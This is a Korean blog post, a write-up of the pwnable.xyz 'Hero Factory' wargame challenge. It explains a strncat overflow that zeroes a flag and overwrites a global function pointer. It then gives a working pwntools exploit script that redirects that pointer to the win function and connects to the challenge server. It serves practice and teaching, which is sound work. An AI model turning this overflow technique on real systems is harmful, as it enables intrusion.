본문으로 바로가기

pwnable.xyz / Hero Factory

category Wargame/pwnable.xyz 2020. 5. 1. 21:28
.bss:0000000000602200                 public myHeroPower
.bss:0000000000602200 ; char myHeroPower[20]
.bss:0000000000602200 myHeroPower     db 14h dup(?)           ; DATA XREF: zeroHero+E↑o
.bss:0000000000602200                                         ; printHero+2C↑o ...
.bss:0000000000602214 ; char myHeroName[100]
.bss:0000000000602214 myHeroName      db 64h dup(?)           ; DATA XREF: zeroHero+22↑o
.bss:0000000000602214                                         ; printHero+18↑o ...
.bss:0000000000602278 isHero          dd ?                    ; DATA XREF: zeroHero+2C↑r
.bss:0000000000602278                                         ; zeroHero+35↑w ...
.bss:000000000060227C                 align 20h
.bss:0000000000602280 ; void (*POWER)(void)
.bss:0000000000602280 POWER           dq ?                    ; DATA XREF: createHero:loc_400D0B↑w
.bss:0000000000602280                                         ; createHero:loc_400D33↑w ...

 

이 바이너리에서 사용되는 전역변수는 위와 같다.

 

  printf("Great! Please enter your hero's name: ");
  read(0, namename_size);
  strncat(strchr(myHeroName, 0), name, 0x64uLL);

 

createHero의 위 부분에서 두 가지 버그가 생긴다.

1. myHeroName의 길이를 100바이트 꽉 채워서 쓰면 strncat 때문에 isHero에 NULL이 들어가 0이 되기 때문에 createHero를 연속으로 실행할 수 있다.

2. strncat이 문자열의 NULL 위치부터 100바이트를 쓰기 때문에 isHero, POWER 등의 값을 덮을 수 있다.

 

win의 주소값을 POWER에 쓰고 use power를 실행하면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import argparse

def itob(i) :
    return str(i).encode() + b'\x00'

def CreateHero(size:intname:bytespower:int) :
    p.writeafter(b'> ', itob(1))
    p.writeafter(b'? \n', itob(size))
    p.writeafter(b': ', name)
    p.writeafter(b'> ', itob(power))

def UsePower() :
    p.writeafter(b'> ', itob(2))

def exploit() :
    CreateHero(0x64b'A'*0x641)
    CreateHero(0x10b'B'*7+p64(0x400A33), 5)
    UsePower()

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30032)
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 5/1/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / nin  (0) 2020.05.02
pwnable.xyz / Dirty Turtle  (0) 2020.05.01
pwnable.xyz / note v2  (0) 2020.05.01
pwnable.xyz / executioner v2  (0) 2020.04.10
pwnable.xyz / badayum  (0) 2020.04.10